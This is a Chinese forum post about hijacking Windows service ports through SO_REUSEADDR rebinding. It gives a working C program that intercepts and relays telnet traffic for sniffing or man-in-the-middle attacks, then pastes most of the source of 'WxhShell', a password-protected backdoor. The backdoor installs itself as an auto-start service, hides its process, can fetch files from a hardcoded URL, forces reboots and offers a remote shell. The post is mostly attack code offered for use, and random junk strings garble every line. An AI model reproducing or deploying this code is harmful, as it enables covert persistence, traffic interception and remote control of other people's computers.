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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bLNQ%=FjO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0V`/oaW;  
Iqo4INGIi  
  saddr.sin_family = AF_INET; <ygkK5#q  
k ( R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -M[5K/[  
k`TEA?RfQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y l3iU:+V  
t0?BU~f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  -JUv'fk  
0]NsT0M  
  这意味着什么?意味着可以进行如下的攻击: UGR5ILf  
b/S4b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^M?uv{354  
4Q3Q.(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A?6b)B/e?  
eUBk^C]\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6=  9  
JQbI^ef_;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +F67g00T|  
OjZ+gl}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v3aiX  
LW,!B.`@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]HCt%5  
zHu:Ec7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WddU|-W  
 NU_VUd2  
  #include Q$RP2&  
  #include LXw&d]P  
  #include Hj2P|;2S  
  #include    y0=BL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _;0:wXib =  
  int main() AY *  
  { Z"E+ TX  
  WORD wVersionRequested; 2Jj`7VH>  
  DWORD ret; N*o+m~:y  
  WSADATA wsaData; tpCEWdn5  
  BOOL val; u,'c:RMV  
  SOCKADDR_IN saddr; flmcY7ZV  
  SOCKADDR_IN scaddr; VSP[G ,J.  
  int err; 3-_4p8OK  
  SOCKET s; kW/ksz0)  
  SOCKET sc; $]%k <|X  
  int caddsize; vmmu[v  
  HANDLE mt; B;rq{ac!P]  
  DWORD tid;   (1TYJ. Z  
  wVersionRequested = MAKEWORD( 2, 2 ); *!nS4 [d  
  err = WSAStartup( wVersionRequested, &wsaData ); [vIO  
  if ( err != 0 ) { RNIfw1R  
  printf("error!WSAStartup failed!\n"); K$K[fcj  
  return -1; 5Pv>`E2^  
  } 2f~s$I&l#  
  saddr.sin_family = AF_INET; 8@Y@5)Oc  
   {~d4;ht1Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bg 7b!t1F  
g[Yok` e[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zM)o^Fn2  
  saddr.sin_port = htons(23); vguqk!eo4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1zl@$ Nt  
  { ~%GUc ~  
  printf("error!socket failed!\n"); 5a_K|(~3I  
  return -1; _39b8s {  
  } 1M<'^(t3d  
  val = TRUE; cvc.-7IO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'MC) %N,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j[=f;&1  
  { "w|GIjE+  
  printf("error!setsockopt failed!\n"); ^TB%| yZ _  
  return -1; 4$y|z{[< 5  
  } 4\-kzGgmo  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )_f "[m%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wdp 4-*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c.d*DM}W  
vbA9 V<c&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Be}Cj(C  
  { HK ;C*;vC%  
  ret=GetLastError(); f)gA.Rz  
  printf("error!bind failed!\n"); sy]1Ba%  
  return -1; KXR  
  } )|2g#hH5  
  listen(s,2); 7$b78wax  
  while(1) $r_z""eOc  
  { 9fe~Q%x=u  
  caddsize = sizeof(scaddr); 2"%d!"  
  //接受连接请求 B\N,%vsx#U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &;C|=8eB  
  if(sc!=INVALID_SOCKET) WRD^S:`BH  
  { dyg1.n#M}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jIuE1ve  
  if(mt==NULL) k deJB-  
  { " $m3xO  
  printf("Thread Creat Failed!\n"); 7(wY4T  
  break; H#Vs3*VK  
  } m T\]  
  } 1k "*@Z<  
  CloseHandle(mt); ukhI'alS,  
  } F5E KWP  
  closesocket(s); YMm Fpy  
  WSACleanup(); =FdS'<GM  
  return 0; S* <: He&1  
  }   oBIKt S*L  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~9x$tb x-  
  { 6h;$^3x$  
  SOCKET ss = (SOCKET)lpParam; t'7)aJMP  
  SOCKET sc; = "Dmfy7  
  unsigned char buf[4096]; n {^D_S  
  SOCKADDR_IN saddr; ;2& (]1X  
  long num; $'kIo*cZ  
  DWORD val; i) :Q{[D  
  DWORD ret; +}*]9nG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6``!DMDt/P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   MbjH\XRB  
  saddr.sin_family = AF_INET; @'~v~3 $S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @XB/9!  
  saddr.sin_port = htons(23); B&<Z#C:I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8<IO X  
  { ?1?m4i  
  printf("error!socket failed!\n"); T4w`I;&v  
  return -1; ? NVN&zD]  
  } wYNh0QlBH  
  val = 100; ~hz]x^:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z?1.Y7Npr  
  { -YRF^72+  
  ret = GetLastError(); 8]+hfB/  
  return -1; 8+ Hho@=  
  } 'rU 5VrK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h.G/HHz  
  { DTgF,c  
  ret = GetLastError(); [%Y Cupr#  
  return -1; o^5xCK:Oi2  
  } iQs(Dh=*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 72luTR Q  
  { WEWNFTI  
  printf("error!socket connect failed!\n"); }&EPH}V2n  
  closesocket(sc); CA:t](xqQ  
  closesocket(ss); @K2q*d  
  return -1; keCM}V`?"  
  } :8\z 0  
  while(1) 6fQQKM@a|  
  { vvdC.4O  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7e>n{rl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r!j_KiUy  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :C>slxY  
  num = recv(ss,buf,4096,0); D0tI  
  if(num>0) y \V!OY@  
  send(sc,buf,num,0); E3sl"d;~  
  else if(num==0) X_O(j!h  
  break; i>>_S&!9p  
  num = recv(sc,buf,4096,0); A"i40 @+  
  if(num>0) :/d#U:I  
  send(ss,buf,num,0); #L[Atx  
  else if(num==0) l.Qj?G  
  break; } n_9d.  
  } qp'HRh@P2:  
  closesocket(ss); EXoT$Wt{$  
  closesocket(sc); s#-`,jqD  
  return 0 ; 57D /"  
  } -hyY5!rD  
M~p=OM<  
_Su$oOy(Ea  
========================================================== 8^^Xr  
4GeWo@8h  
下边附上一个代码,,WXhSHELL w}YO+  
x4R[Q&:M  
========================================================== jQ(qaX&  
0P&rTtU6  
#include "stdafx.h" 3zv_q&+8b  
0ir]  
#include <stdio.h> ^JJ*pT:  
#include <string.h> Ftu4 V*lD  
#include <windows.h> >t3%-Kc  
#include <winsock2.h> 0x[v)k9"0  
#include <winsvc.h> Rw=g g >\  
#include <urlmon.h> DMsxHAE1  
QUwSnotgU  
#pragma comment (lib, "Ws2_32.lib")  b-yfBO  
#pragma comment (lib, "urlmon.lib") wHAoO#`wn5  
.G4(Ryh  
#define MAX_USER   100 // 最大客户端连接数 ~bg?V0  
#define BUF_SOCK   200 // sock buffer 5fDVJE "9"  
#define KEY_BUFF   255 // 输入 buffer 7S(5\9  
gb( a`  
#define REBOOT     0   // 重启 9}:%CpD^~I  
#define SHUTDOWN   1   // 关机 +*mi%)I  
z3[ J>  
#define DEF_PORT   5000 // 监听端口 |ILj}4ZA7  
\Om.pOz  
#define REG_LEN     16   // 注册表键长度 yiWBIJ2Wu9  
#define SVC_LEN     80   // NT服务名长度 MXq+aS{  
\l"1Io=  
// 从dll定义API e4j:IK>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7GB>m}7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &r;-=ASYzV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TW7jp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _>S."cm}!k  
pmv;M`_|R  
// wxhshell配置信息 iQ~;to;Y  
struct WSCFG { D/5 ah_;  
  int ws_port;         // 监听端口 S[n ;u-U  
  char ws_passstr[REG_LEN]; // 口令 L$=6R3GI  
  int ws_autoins;       // 安装标记, 1=yes 0=no +.! F]0ju  
  char ws_regname[REG_LEN]; // 注册表键名 xi %u)p  
  char ws_svcname[REG_LEN]; // 服务名 8rx?mX,}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,-rOfk\u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m+?$cyA>v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a;r,*zZ="  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jhr: QS/9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >\+c@o[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &O/;YGEAB  
" ;8H;U`  
}; ]p:s5Q  
mG*[5?=r  
// default Wxhshell configuration F\^9=}b_i  
struct WSCFG wscfg={DEF_PORT, :D\M.A  
    "xuhuanlingzhe", xKi: 2  
    1, S|CN)8Jsi  
    "Wxhshell", fzT|{vG8  
    "Wxhshell", z' z_6]5  
            "WxhShell Service", BGh1hyJ8d  
    "Wrsky Windows CmdShell Service", \vjIw{   
    "Please Input Your Password: ", iO4Yfj#?  
  1, x\z* iv  
  "http://www.wrsky.com/wxhshell.exe", )*}2L_5]  
  "Wxhshell.exe" (P%{Tab  
    }; 7k.=_Tl  
@eU;oRVc{  
// 消息定义模块 Oi+9kk e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dUegHBw_`R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $@QF<?i~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ue"?n2  
char *msg_ws_ext="\n\rExit."; 6q-X$  
char *msg_ws_end="\n\rQuit."; nd_+g2x'  
char *msg_ws_boot="\n\rReboot..."; \qj4v^\  
char *msg_ws_poff="\n\rShutdown..."; 5?9K%x'b  
char *msg_ws_down="\n\rSave to "; TmZ sC5  
|=&[sC  
char *msg_ws_err="\n\rErr!"; ~4IkQ|,  
char *msg_ws_ok="\n\rOK!"; o/I'Qi$v-  
2uujA* ^  
char ExeFile[MAX_PATH]; Kx==vq%39  
int nUser = 0; >c %*:a  
HANDLE handles[MAX_USER]; qS1byqq78l  
int OsIsNt; o/??w:'  
xn|M]E1)  
SERVICE_STATUS       serviceStatus; "ld4v+o8l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XRA RgWj  
m?G@#[ l  
// 函数声明 .K%1{`.|  
int Install(void); Wwo'pke  
int Uninstall(void); *i3\`;^=  
int DownloadFile(char *sURL, SOCKET wsh); xvn@zi  
int Boot(int flag); j]Y`L?!Q  
void HideProc(void); !:"$1kh1("  
int GetOsVer(void); WD.td  
int Wxhshell(SOCKET wsl); 4}-{sS}MP  
void TalkWithClient(void *cs); +||y/}1  
int CmdShell(SOCKET sock); jRdmQ mTJ  
int StartFromService(void); Vcjmj  
int StartWxhshell(LPSTR lpCmdLine); r I)Y W0  
.xG3`YH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~nLE?>x|Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %+gK5aVab  
%QYW0lE  
// 数据结构和表定义 2E7vuFH4c  
SERVICE_TABLE_ENTRY DispatchTable[] = Ilf;Q(*$>>  
{ w1>uD]  
{wscfg.ws_svcname, NTServiceMain}, X$mCn#8m  
{NULL, NULL} QAN :  
}; V&e 9?5@  
&}}UdJ`  
// 自我安装 fib#)KE  
int Install(void) d!>.$|b  
{ 8);G'7O  
  char svExeFile[MAX_PATH]; T'C^,,if  
  HKEY key; 'Z ;8-1M?O  
  strcpy(svExeFile,ExeFile); :]]#X ~J  
X 0\O3l* j  
// 如果是win9x系统,修改注册表设为自启动 5 1&||.  
if(!OsIsNt) { olLVT<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q%&JAX=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ' tyblj C  
  RegCloseKey(key); d-k`DJ!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )DG>omCY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); naOCa  
  RegCloseKey(key); 4gKu8G  
  return 0; WK$d<:"  
    } 5ub|r0&M  
  } >`{B  
} Yf&P|Iiw  
else { kz30! L  
' v)@K0P  
// 如果是NT以上系统,安装为系统服务 -/)>DOgUq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4{zz-4=  
if (schSCManager!=0) z:gp\  
{ "2m (*+  
  SC_HANDLE schService = CreateService OS - Xh-:z  
  ( NQ&\t[R[  
  schSCManager, r. z=  
  wscfg.ws_svcname, GycW3tc]_&  
  wscfg.ws_svcdisp, c2E*A+V#u  
  SERVICE_ALL_ACCESS, SLsw '<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9I1D'7wI^^  
  SERVICE_AUTO_START,  Q{K '#  
  SERVICE_ERROR_NORMAL, 3aX/)v.:4  
  svExeFile, 2wX4e0cOI4  
  NULL, Xg4i H5!E  
  NULL, pHNo1-k\  
  NULL, Z(h.)$yH*=  
  NULL, .Tm m  
  NULL t@"i/@8x$  
  ); arWP]%E0W  
  if (schService!=0) $:l>g)c  
  { A.YXK%A%  
  CloseServiceHandle(schService); f$y`tT %o  
  CloseServiceHandle(schSCManager); KA#P_e{<@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Sdo mG?;kV  
  strcat(svExeFile,wscfg.ws_svcname); NoAgZ{))  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y]U]b G{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ojva~mnFf  
  RegCloseKey(key); +`RQ ^9  
  return 0; 3u,CI!  
    } _Jt  
  } ?zP/i(1y  
  CloseServiceHandle(schSCManager); xCTPsw]s  
} {r>iUgg  
} j0wpaIp  
z?3t^UPW  
return 1; :HiAjaA1pg  
} '-KYeT\;  
14DHU  
// 自我卸载 5Q$.q &,  
int Uninstall(void) T9'd?nw9  
{ a +$'ULK+r  
  HKEY key; ]_5qME#N  
" ZYdJHM  
if(!OsIsNt) { ~NV 8avZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *Ei(BrL/;  
  RegDeleteValue(key,wscfg.ws_regname); ^Ay>%`hf*  
  RegCloseKey(key); m%s&$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c>b!{e@*  
  RegDeleteValue(key,wscfg.ws_regname); ZZ*+Tl\ s  
  RegCloseKey(key); eJ ;a}{ 4%  
  return 0; b0| ;v-v  
  } MW|*Z{6*  
} BB9+d"Sq  
} :3N&&]  
else { p!Xn iY  
P]^ BE;7T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YZdV0 -S  
if (schSCManager!=0) 1Qk]?R/DN  
{ ,L&d\M"f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $o%:ST4  
  if (schService!=0) CK=TD`$w  
  { UKpc3Jo:~  
  if(DeleteService(schService)!=0) { _c$F?9:  
  CloseServiceHandle(schService); 'c/S$_r  
  CloseServiceHandle(schSCManager); "xdu h3/~=  
  return 0; fMm.V=/+  
  } =pk5'hBAi  
  CloseServiceHandle(schService); <zWMTVaC  
  } W/@-i|v  
  CloseServiceHandle(schSCManager); Kt5k_9  
} , G2( l  
} dTrz7ayH  
[,0[\NC  
return 1; Kl/n>qEt  
} =THRy ZCH  
oAprM Z 7Y  
// 从指定url下载文件 MHqk-4Mz  
int DownloadFile(char *sURL, SOCKET wsh) g-LMct8$  
{ q|zips,  
  HRESULT hr; G%F}H/|R  
char seps[]= "/"; uc>]-4  
char *token; HT%'dZ1  
char *file;  P y!$r  
char myURL[MAX_PATH]; Z{}+7P  
char myFILE[MAX_PATH]; ;k:17&:8ue  
y2M]z:Y U  
strcpy(myURL,sURL); ~ ?JN I8  
  token=strtok(myURL,seps); Dq[Z0"8  
  while(token!=NULL) [pxC3{|d$  
  { N?s`a;Q[=  
    file=token; Whl^~$+f  
  token=strtok(NULL,seps); q}|_]R_y  
  } O|AY2QH\  
=&t]R? F  
GetCurrentDirectory(MAX_PATH,myFILE); kyH0J[/n  
strcat(myFILE, "\\"); J3QL%#  
strcat(myFILE, file); i4}+n^oSYo  
  send(wsh,myFILE,strlen(myFILE),0); 2|A?9aE%0  
send(wsh,"...",3,0); ~J![Nx/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qYP;`L}o#  
  if(hr==S_OK) J{U 171  
return 0; ]o?r( 1  
else +5x{|!Pn  
return 1; Y(&rlL(sPK  
eq(1'?7]`G  
} uGpLh0  
G S&I6  
// 系统电源模块 -2B3 xIZJ  
int Boot(int flag) QV[#^1  
{ nrV!<nNBk  
  HANDLE hToken; "F:V$,mJ  
  TOKEN_PRIVILEGES tkp; 1|dXbyUd  
N c(f+8  
  if(OsIsNt) { {,B. OM)J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wud-(19  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }2hU7YWt  
    tkp.PrivilegeCount = 1; NjbIt=y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2jF}n*[OW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8ByNaXMO6  
if(flag==REBOOT) { u<JkP <"S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1*f*}M  
  return 0; 8?hZ5QvA(j  
} _0|@B8!J?  
else { kgHZaQnD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~e _  
  return 0; z?n6l7sH  
} pIHpjx  
  } ` >loleI  
  else { cD t|v~  
if(flag==REBOOT) { 12@Ge]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k$|g)[RE  
  return 0; Y|6gg  
} a+^,EY  
else { 9@8'*a{`m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z |8zNt Ug  
  return 0; VG_xNM  
} }5AA}=  
} []G@l. ]W  
L{0\M`B-  
return 1; {>Hn:jW<.  
} mwutv8?  
=I0J1Ob  
// win9x进程隐藏模块 f#McTC3C  
void HideProc(void) !0_/=mA^  
{ A,EuUp  
i9Eh1A3Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AC*SmQ\>!  
  if ( hKernel != NULL ) cB)tf S4)  
  { pJ JOy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .%+anVXS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Dy*K;e-+  
    FreeLibrary(hKernel); E|A~T7G=  
  } z.|[g$F  
 7LB%7~{<  
return; @KRia{  
} `CRF E5  
0oe2X1.%  
// 获取操作系统版本 j;I( w [@P  
int GetOsVer(void) fohZ&f|>  
{ DzIV5FG  
  OSVERSIONINFO winfo; 1)3'Y2N*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Wuk!\<T{  
  GetVersionEx(&winfo); $Wu|4]o>9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L2c\i  
  return 1; A;k#8&;  
  else r4ljA@L  
  return 0; u2OrH3E4E3  
} G8WPXj(  
p|em_!H"SH  
// 客户端句柄模块 XQ2 YUe]DJ  
int Wxhshell(SOCKET wsl) l.(|&U~  
{ rk47 $36X  
  SOCKET wsh; .Fx3WryF  
  struct sockaddr_in client; 2FY]o~@  
  DWORD myID; =y>CO:^G%  
\Xe{vlo>h  
  while(nUser<MAX_USER) r$<M*z5q(\  
{ ktkS$  
  int nSize=sizeof(client); 3:)_oHq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %)Z,?DzZ  
  if(wsh==INVALID_SOCKET) return 1; Res4;C  
5j v*C]z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %f?Zg44  
if(handles[nUser]==0) ??P %.  
  closesocket(wsh); _4T7Vg''  
else KAi_+/]K_  
  nUser++; VUOe7c=  
  } R?y_tho4A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `dWnu3r;  
,4=mlte"  
  return 0; P @Fx6  
} QX42^]({;c  
2.^CIJc  
// 关闭 socket "YAnGGx)LZ  
void CloseIt(SOCKET wsh) >*uj )u%  
{ q8uq%wf  
closesocket(wsh); v(6[z)A0  
nUser--; *\ B(-  
ExitThread(0); 6ma.FvSIM  
} `(DHa=s1  
mM~&mAa+Z  
// 客户端请求句柄 JmeE}:5lpj  
void TalkWithClient(void *cs) A%X=yqY  
{ #M<YNuE#"  
F'"-aB ~  
  SOCKET wsh=(SOCKET)cs; S;u.Ds&  
  char pwd[SVC_LEN]; 4 9HP2E  
  char cmd[KEY_BUFF]; 8Zy*#[-  
char chr[1]; hgbf"J6V8  
int i,j; \6bvk _  
}|&^Sg%95  
  while (nUser < MAX_USER) { ^*+j7A.n  
EPA 2_  
if(wscfg.ws_passstr) { mwMu1#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4`Zo Ar-5|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WJI}~/z;C  
  //ZeroMemory(pwd,KEY_BUFF); .Yvy37n((  
      i=0; t 1~k+  
  while(i<SVC_LEN) { ,tDLpnB@;  
pMY7{z  
  // 设置超时 [XH,~JZJj  
  fd_set FdRead; aHb&+/HZ  
  struct timeval TimeOut; IwOL1\'T4  
  FD_ZERO(&FdRead); (N/-blto  
  FD_SET(wsh,&FdRead); &kn?=NW  
  TimeOut.tv_sec=8; BS?i!Bm7  
  TimeOut.tv_usec=0; 6pt|Crvu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R+!oPWfb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m 2/S(f  
] _W'-B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B.KK@  
  pwd=chr[0]; CEBu[TT/9  
  if(chr[0]==0xd || chr[0]==0xa) { O9m sPb:  
  pwd=0; zo("v*d*q  
  break; I[b{*g2Zw  
  } F/,6Jh  
  i++; "kC6G%  
    } &ld<fa(w+2  
lHPnAaue@  
  // 如果是非法用户,关闭 socket yE.st9m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nf[KD,f  
} =T#hd7O`V  
2 E?]!9T~|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y]Z&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  deq5u>  
[mNum3e  
while(1) { !vVW8hbp  
IWm@pfC+g  
  ZeroMemory(cmd,KEY_BUFF); h~qv_)F_  
[w-Tf&  
      // 自动支持客户端 telnet标准   k<Xb< U  
  j=0; gPA8A>U)[  
  while(j<KEY_BUFF) { \gK'g-)}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xwW(WHdC]  
  cmd[j]=chr[0]; !I\eIV>0b  
  if(chr[0]==0xa || chr[0]==0xd) { P : L6Zo-J  
  cmd[j]=0; #xq3 )B  
  break; VKfpk^rU  
  } L@jpid95  
  j++; ZoYllk   
    } w~+\Mfz  
MmU`i ,z  
  // 下载文件 WnU2.:  
  if(strstr(cmd,"http://")) { qrjSG%i~J7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  j=G  
  if(DownloadFile(cmd,wsh)) C3N1t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YMy**  
  else W#kyD)(F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iQ1[60?)T  
  } Z0O0Q=e\Y  
  else { VC_F Cz  
=v!Z8zk=W  
    switch(cmd[0]) { W voIh4]  
  9$qw&j[  
  // 帮助 -e?n4YO*\  
  case '?': { VKw.g@BY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XR p60i6f  
    break; ,\1Rf.  
  } N)a5~<fBG  
  // 安装 {?++T 0  
  case 'i': { KY0<N 9{  
    if(Install()) &U CtyCz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n5efHJU  
    else 90,UhNz9D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H3pZfdh?w  
    break; g;OR{  
    } 44t;#6p@%>  
  // 卸载 :cIPX%S  
  case 'r': { |}:q@]dC#  
    if(Uninstall()) !6sR|c"~j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PR AP~P&^  
    else K6)IBV;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I>w|80%%  
    break; 'vZy-qHrV  
    } EZVgTySd  
  // 显示 wxhshell 所在路径 p2fzbBt  
  case 'p': { t$p%UyVE  
    char svExeFile[MAX_PATH]; LaZ @4/z!  
    strcpy(svExeFile,"\n\r"); DHyQ:0q  
      strcat(svExeFile,ExeFile); T-lP=KF=  
        send(wsh,svExeFile,strlen(svExeFile),0); =h?%<2t9<  
    break; G(o6/  
    } +z#+}'mT%  
  // 重启 *lu*h&Y  
  case 'b': { O*N:.|dUw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cG3tn&AXi  
    if(Boot(REBOOT)) 09 f;z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MSp) Jc  
    else { F x$W3FIO]  
    closesocket(wsh); YACx9K H  
    ExitThread(0); 0LIXkF3^1  
    } |oX9SUl  
    break; "(~fl<;  
    } 3j[<nBsn.  
